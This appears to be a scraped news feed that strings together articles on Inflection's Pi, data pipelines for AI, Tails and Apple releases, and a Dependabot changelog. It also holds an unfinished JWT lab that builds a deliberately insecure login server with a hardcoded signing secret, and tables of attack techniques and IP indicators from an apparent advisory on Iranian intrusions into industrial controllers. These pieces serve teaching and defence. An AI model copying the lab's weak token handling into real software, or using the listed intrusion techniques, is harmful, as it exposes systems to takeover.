That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that emotionally engaging chatbots deepen isolation by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.
Inside Pi Journeys, the AI companion that maps your relationships and life stages
Pi Journeys makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.
"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.
White, who spent years as chief R&D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.
Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."
The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.
What Inflection's consumer AI research reveals about how people actually use chatbots
Inflection Labs' first publication, the State of Consumer AI Research Report, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.
More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.
"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."
This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."
He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.
How the $650 million Microsoft deal hollowed out Inflection — and set up its second act
To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having raised $1.3 billion in mid-2023 in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.
Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as Reuters reported. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.
White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — Jelled.AI, BoostKPI, and the European consulting firm Boundaryless — and telling TechCrunch that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.
Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.
Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.
The six-month prediction: relationship-aware AI is coming to the enterprise
Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."
If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.
The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."
That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like Rust and WebAssembly.
Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as PyTorch.
Can a diminished Inflection compete with AI giants spending billions?
Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," Hoffman said in the announcement. "When that kind of agency is available to everyone, you get superagency."
The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "relational intelligence" is, for now, a brand claim awaiting proof.
But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.
Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."
Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.




AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering
Wed, 22 Jul 2026 22:58:18 +0200
You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.
This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.
The failure that doesn't look like a failure 
An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.
So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.
I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. 
Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.
Why this is a data engineering problem
Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.
Blaming the model: The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.
Blaming the retrieval layer: Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. 
AWS just entered the "context layer" race with a knowledge graph that learns from agent usage. 
Snowflake's new Horizon Context and Cortex Sense target the exact symptom this piece opened with: agents giving confident wrong answers because nothing governs the business logic underneath them. 
Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.
The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. 
What's actually missing: Data observability
Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.
Uber built a dedicated data quality and observability platform long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.
Netflix solved a different piece of the same problem, building a company-wide data lineage system so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.
Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.
Correctness: Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like Great Expectations and Soda handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.
Freshness: Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.
Consistency: Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.
Lineage: Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. 
None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.
At Socure, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.
Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a write-audit-publish pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.
The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.
What to do Monday morning
If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: 
Is the underlying data validated against the standards required by its consumers?
What's the oldest piece of content currently being served with high confidence?
Would two chunks of the same source ever disagree with each other in the same retrieval result?
Could you trace where it came from if it turned out to be wrong?
If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.
Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. 


New Release: Tails 7.9
Wed, 22 Jul 2026 22:34:51 +0200

    
      


      
    
    Changes and updates

Update Tor Browser to 15.0.16.

Update some firmware packages. This improves support for newer hardware: graphics, Wi-Fi, and so on.


Fixed problems

Stop notifying about outdated Secure Boot certificates in rare cases where the certificates are already up to date. (#21643)

For more details, read our
changelog.
Get Tails 7.9
To upgrade your Tails USB stick and keep your Persistent Storage

Automatic upgrades are available from Tails 7.0 or later to 7.9.

If you cannot do an automatic upgrade or if Tails fails to start after an automatic upgrade, please try to do a manual upgrade.


To install Tails 7.9 on a new USB stick
Follow our installation instructions.
The Persistent Storage on the USB stick will be lost if you install instead of
upgrading.
To download only
If you don't need installation or upgrade instructions, you can download Tails
7.9 directly:

For USB sticks (USB image)

For DVDs and virtual machines (ISO image)


Support and feedback
For support and feedback, visit the Support
section on the Tails website.

    
  
    
        
          tails
        
      

        
          releases
        
      
  
  


New Release: Tails 7.9.1
Wed, 22 Jul 2026 22:34:16 +0200

    
      


      
    
    Changes and updates

Update Tor Browser to 15.0.17.

Update the Tor client to 0.4.9.11.

Update the Linux kernel to 6.12.94, which fixes
CVE-2026-43503 (DirtyClone) and
CVE-2026-46331 (PACKET_EDIT_MEME), vulnerabilities that could allow an application in Tails to gain administration privileges.


For example, if an attacker was able to exploit other unknown security
vulnerabilities in an application included in Tails, they might then use
CVE-2026-46331 to take full control of your Tails and deanonymize you.
This attack is unlikely, but could be performed by a strong attacker, such as
a government or a hacking firm. We are not aware of this vulnerability being
used in practice until now.
Fixed problems
For more details, read our
changelog.
Get Tails 7.9.1
To upgrade your Tails USB stick and keep your Persistent Storage

Automatic upgrades are available from Tails 7.0 or later to 7.9.1.

If you cannot do an automatic upgrade or if Tails fails to start after an automatic upgrade, please try to do a manual upgrade.


To install Tails 7.9.1 on a new USB stick
Follow our installation instructions.
The Persistent Storage on the USB stick will be lost if you install instead of
upgrading.
To download only
If you don't need installation or upgrade instructions, you can download Tails
7.9.1 directly:

For USB sticks (USB image)

For DVDs and virtual machines (ISO image)


Support and feedback
For support and feedback, visit the Support
section on the Tails website.

    
  
    
        
          tails
        
      

        
          releases
        
      
  
  


Apple Partners With Klarna To Offer iPhones, Macs On a Subscription Basis
Wed, 22 Jul 2026 22:12:27 +0200
Apple is reportedly launching a Klarna financing deal that will let U.S. customers spread the cost of devices over up to three years, pushing the company closer to a hardware-as-a-service model. "The only thing you don't get under the new arrangement is AppleCare, for which you'll allegedly need to pay extra," notes Computerworld. From the report: The introduction of the scheme gives consumers a way to purchase the company's popular high-end devices when they are introduced -- no doubt,at higher cost -- this fall. [...] A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. "Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do," [IDC analyst Francisco Jeronimo] wrote to me.
 
There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but probably can't afford to own.
 
The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but abandoned that plan as it became riskier with rising bank rates. "Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet," Jeronimo said. 
"Apple Upgrade lands at precisely the moment Apple needs it," Jeronimo wrote in a note seen by Computerworld. "Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September -- as well as the new iPhone foldable expected at $2,500 -- Apple's real risk is that rising prices even further can impact the upgrade cycle."






Read more of this story at Slashdot.


v0.388.0
Wed, 22 Jul 2026 21:50:45 +0200
What's Changed

Type GitHub release metadata by @JamieMagee in #15597
Make GitCommitChecker strongly typed by @JamieMagee in #15598
Retry corepack prepare and install on signature metadata errors from private registries by @kbukum1 in #15606
Fix UV DependencyGrapher to detect nested uv.lock in monorepos by @thavaahariharangit with @Copilot in #15520
Bump library/rust from 1.95.0-bookworm to 1.97.0-bookworm in /cargo by @dependabot[bot] in #15560
Bump @sigstore/core from 3.1.0 to 3.2.1 in /npm_and_yarn/helpers by @dependabot[bot] in #15455
Bump maven from 3.9.14 to 3.9.16 in /maven by @dependabot[bot] in #15127
Support Bundler source cooldown in Dependabot cooldown flow by @robaiken in #15517
Type shared release metadata by @JamieMagee in #15607
Make Job strongly typed by @JamieMagee in #15608
Type Job wire models by @JamieMagee in #15610
Type Service and ApiClient by @JamieMagee in #15614
Add support for calendar-based versions for Maven and Gradle by @yeikel in #14114
Type error reporting by @JamieMagee in #15615
Type updater dependency helpers by @JamieMagee in #15617
ensure proper formatting when patching element attributes by @brettfo in #15629
Bump ws from 8.18.3 to 8.21.1 in /npm_and_yarn/helpers/test/npm/fixtures/vulnerability-auditor/update-needed-across-two-versions by @dependabot[bot] in #15329
Bump lodash from 4.17.23 to 4.18.1 in /bun/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by @dependabot[bot] in #14608
Bump lodash from 4.17.23 to 4.18.1 in /npm_and_yarn/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by @dependabot[bot] in #14609
Bump lodash from 4.17.23 to 4.18.1 in /npm_and_yarn/helpers/test/npm6/fixtures/conflicting-dependency-parser/deeply-nested by @dependabot[bot] in #14610
Bump the dev-dependencies group across 1 directory with 2 updates by @dependabot[bot] in #14694
Bump pip from 26.1.1 to 26.1.2 in /python/helpers in the pip group across 1 directory by @dependabot[bot] in #11830
Bump yaml from 2.3.1 to 2.9.0 in /bun/helpers by @dependabot[bot] in #14535
npm_and_yarn: group vulnerability auditor blocking-dependency messages by top-level ancestor by @thavaahariharangit in #15627
Bump ip-address and socks in /bun/helpers by @dependabot[bot] in #14924
Bump brace-expansion from 1.1.13 to 1.1.16 in /bun/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by @dependabot[bot] in #15634
Bump brace-expansion from 1.1.13 to 1.1.16 in /npm_and_yarn/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by @dependabot[bot] in #15633
Bump sigstore/cosign/cosign from v3.1.1 to v3.1.2 in /docker in the regclient group across 1 directory by @dependabot[bot] in #15621
Bump lodash from 4.17.23 to 4.18.1 in /bun/helpers/test/npm6/fixtures/conflicting-dependency-parser/deeply-nested by @dependabot[bot] in #14606
Bump @tootallnate/once from 2.0.0 to 2.0.1 in /bun/helpers by @dependabot[bot] in #15107
Bump the "uv-ecosystem" group with 1 update across multiple ecosystems by @dependabot[bot] in #14969
Bump ip-address and socks in /npm_and_yarn/helpers by @dependabot[bot] in #14923
Bump yaml from 2.3.1 to 2.9.0 in /npm_and_yarn/helpers by @dependabot[bot] in #14533
Bump golang.org/x/mod from 0.37.0 to 0.38.0 in /go_modules/helpers by @dependabot[bot] in #15559
Bump @sigstore/verify from 3.1.0 to 3.1.1 in /npm_and_yarn/helpers by @dependabot[bot] in #15477
julia: don't propose compat updates for workspace packages or synthesize member compat entries by @IanButterworth in #15643
fix: guard against unparseable versions in cooldown fallback by @currantw in #15632
Type dependency requirement readers by @JamieMagee in #15646
v0.388.0 by @dependabot-core-action-automation[bot] in #15623

New Contributors

@currantw made their first contribution in #15632

Full Changelog: v0.387.0...v0.388.0


Ubuntu snap-confine Flaw Could Give Local Users Root on Default Desktop Installs
Wed, 22 Jul 2026 21:10:03 +0200
Cybersecurity researchers have disclosed details of a new local privilege escalation (LPE) vulnerability in snap-confine that an unprivileged user can trigger to obtain root access and gain complete control of a target environment. The high-severity flaw, tracked as CVE-2026-8933 (CVSS…
Read more →
The post Ubuntu snap-confine Flaw Could Give Local Users Root on Default Desktop Installs appeared first on IT Security News.


Apple Plans 11 New Macs With M6 Chips, OLED MacBook Pro, New iMac and More
Wed, 22 Jul 2026 21:01:02 +0200
Apple is preparing to update every Mac model it sells over the next two years, with new MacBook Pro, MacBook Air, iMac, Mac mini, Mac Studio and MacBook Neo models now moving through development.



Bloomberg’s Mark Gurman reports that Apple will begin the refresh cycle in fall 2026 with an entry-level 14-inch MacBook Pro powered by the M6 chip, alongside the first updated iMac models in two years.



Apple Mac roadmap for 2026 and beyond



Apple has several Mac launches planned across late 2026, 2027 and 2028, although memory shortages could affect the timing of some desktop models.




Entry-level 14-inch MacBook Pro: Apple plans to launch this model in fall 2026 with the M6 chip, while keeping a design similar to the current version.



Updated iMac: New iMac models are also expected in fall 2026, with development reportedly complete for devices carrying the internal names J833 and J834.



Redesigned MacBook Pro: Apple is preparing new 14-inch and 16-inch models with OLED touchscreens, a revised design and M5 Pro or M5 Max chips for late 2026 or early 2027.



MacBook Air: Refreshed 13-inch and 15-inch models are expected in early 2027, although they will remain visually similar to the current generation.



Mac mini and Mac Studio: Apple is testing Mac mini models with M5 Pro and M6 chips, while Mac Studio testing includes M5 Max and M5 Ultra options.



MacBook Neo: Apple is developing an updated budget model with an A19 Pro chip, additional memory and new colour choices.




Apple is also working on a standard M7 MacBook Pro for 2027, followed by high-end M7 Pro and M7 Max models between late 2027 and early 2028.



OLED technology will gradually reach more Mac products, with an OLED MacBook Air planned for 2028 at the earliest and an OLED iMac also under development. Apple has not announced launch dates for these future models.


Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.
Wed, 22 Jul 2026 20:59:45 +0200
In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.
JWT As Security Measure
JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..
Let’s take this JWT as an example.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30
The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a strong password. Ideally that password is saved in a .env file on the server and not in the code.
So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.
Let’s Build The Lab Already
You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.
Lab Tree
/mediumLabs
└── /JWT
    ├── server.js
    ├── login.html
    ├── index.html
    ├── admin.html
    ├── /node_modules
    ├── /package-lock.json
    └── /package.json
Code
server.js
const express = require('express');
const jwt = require('jsonwebtoken');
const path = require('path');
const Database = require('better-sqlite3');
const app = express();
const JWT_SECRET = 'secret';
const db = new Database(':memory:');
db.exec(`
  CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username TEXT,
    password TEXT,
    role TEXT
  )
`);
db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();
app.use(express.urlencoded({ extended: false }));

app.get('/', (req, res) => res.sendFile(path.join(__dirname, 'login.html')));
function getToken(req) {
  const match = (req.headers.cookie || '').match(/token=([^;]+)/);
  return match ? match[1] : null;
}
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);
  if (!user) return res.redirect('/?error=Invalid+credentials');
  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);
  res.setHeader('Set-Cookie', `token=${token}; Path=/`);
  res.redirect('/index.html');
});
app.get('/index.html', (req, res) => {
  try {
    res.sendFile(path.join(__dirname, 'index.html'));
  } catch {
    res.redirect('/');
  }
});
app.get('/admin', (req, res) => {
});

app.listen(3000, () => console.log('Listening on http://localhost:3000'));
login.html



    
    
    Login


    Login

    
        
            Username: 
        

        
            Password: 
        

        
    


index.html



    
    
    Home


    Welcome!

    You are logged in as .

    Go to Admin Panel

    



admin.html



    
    
    Admin Panel


Admin Panel

    Welcome, admin. Here is the secret flag:

    FLAG{JWT}

    

    Back to Home

    
Let’s Add Some Vulnerabilities
Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.
In a very, very wrong way we already tried implementing security in admin.html. When you look inside the

Technique Title	ID	Use
Gather Victim Organization Information	T1591	Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.
Active Scanning: Vulnerability Scanning	T1595.002	Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.

Technique Title	ID	Use
Default Credentials	T0812	Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.
Remote Services	T0886	Threat actors leverage VNC services to access system HMI devices.
Remote Services: VNC	T1021.005	Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.

Technique Title	ID	Use
Device Restart/Shutdown	T0816	While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.
Alarm Suppression	T0878	Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.
Change Credential	T0892	Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.

Technique Title	ID	Use
Modify Parameter	T0836	Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.
Unauthorized Command Message	T0855	Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.

Technique Title	ID	Use
Loss of Productivity and Revenue	T0828	Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.
Loss of View	T0829	Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely.
Manipulation of Control	T0831	Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.

Title	Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
Original Publication	April 7, 2026
Last Update	July 22, 2026
Executive Summary	The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.
Last Update Description	This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.
Affected Products	Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.
Key Actions	Install PLCs consistent with manufacturers' guidelines and security best practices. Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action. Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including `44818`, `2222`, `102`, and `502`, especially traffic originating from foreign hosting providers. For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.
Indicators of Compromise	For a downloadable copy of July 22, 2026 IOCs, see: AA26-097A STIX XML (July 2026) (29 KB) AA26-097A STIX JSON (July 2026) (30 KB) For a downloadable copy of historical April 7, 2026 IOCs, see: AA26-097A STIX XML (36 KB) AA26-097A STIX JSON (12 KB)
Intended Audience	Organizations: Critical Infrastructure Sectors: Government Services and Facilities, Water and Wastewater Systems (WWS), and Energy Roles: Integrators, asset owners, defensive cybersecurity analysts, OT cybersecurity engineers, cybersecurity architects, secure systems developer

Indicator	Beginning of Actor Association	End of Actor Association
185.82.73[.]175	September 2025	February 2026
141.11.164[.]153	January 2026	June 2026
175.110.121[.]42	February 2026	March 2026
175.110.121[.]39	February 2026	March 2026
175.110.121[.]41	February 2026	March 2026
175.110.121[.]107	February 2026	February 2026
192.142.54[.]79	May 2026	June 2026
84.200.205[.]165	May 2026	June 2026
185.225.17[.]225	June 2026	July 2026
79.133.46[.]209	July 2026	July 2026
88.80.150[.]199	July 2026	July 2026
88.80.150[.]200	July 2026	July 2026
88.80.150[.]202	July 2026	July 2026

Indicator	Beginning of Actor Association	End of Actor Association
185.82.73[.]162	January 2025	March 2026
185.82.73[.]164	January 2025	March 2026
185.82.73[.]165	January 2025	March 2026
185.82.73[.]167	January 2025	March 2026
185.82.73[.]168	January 2025	March 2026
185.82.73[.]170	January 2025	March 2026
185.82.73[.]171	January 2025	March 2026
135.136.1[.]133	March 2026	March 2026

Technique Title	ID	Use
Commonly Used Port	T0885	The actors leveraged commonly used OT ports to communicate with PLCs.
Remote Access Tools	T1219	The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port `22`.

Tactic	ID	Technique	Procedure
Resource Development	T1584.005	Compromise Infrastructure: Botnet	Botnets are used as core components of covert networks
Resource Development	T1584.008	Compromise Infrastructure: Network Devices	Devices are compromised and added to botnets
Resource Development	T1583.003	Acquire Infrastructure: Virtual Private Server	Virtual private servers (VPS) are used in covert networks, typically as on-ramps
Command and Control	T1090.003	Proxy: Multi-hop Proxy	Used by China-nexus cyber actors to route traffic

Skills	Salary Boost
ScrumMaster	44%
Microsoft Azure	30%
Supply Chain	27%
Oracle eBusiness Suite	25%
Master Data Management (SAP MDM)	24%
SAP Sales and Distribution (SAP SD)	24%
Product Support	18%
Microsoft Dynamics GP	18%
SAP Quality Management (SAP QM)	18%
Workday Software	15%

Model	Max single-generation duration	Max resolution	Key constraints	Price per 10-second clip (720p)	Price per 10-second clip (1080p)	Price per 10-second clip (4K)
FLUX 3 Video	20 seconds	Not stated; evaluations run at 720p	Early access; no published SLA or pricing	Not announced	Not announced	Not announced
HappyHorse 1.1	15 seconds	1080p	No 4K; closed weights	Not published (v1.0 reseller rate is ~$1.82)	Not published (v1.0 reseller rate is ~$3.12)	n/a
Veo 3.1	Per-second billing	4K	Supports clip extension; preview	$4.00	$4.00	$6.00
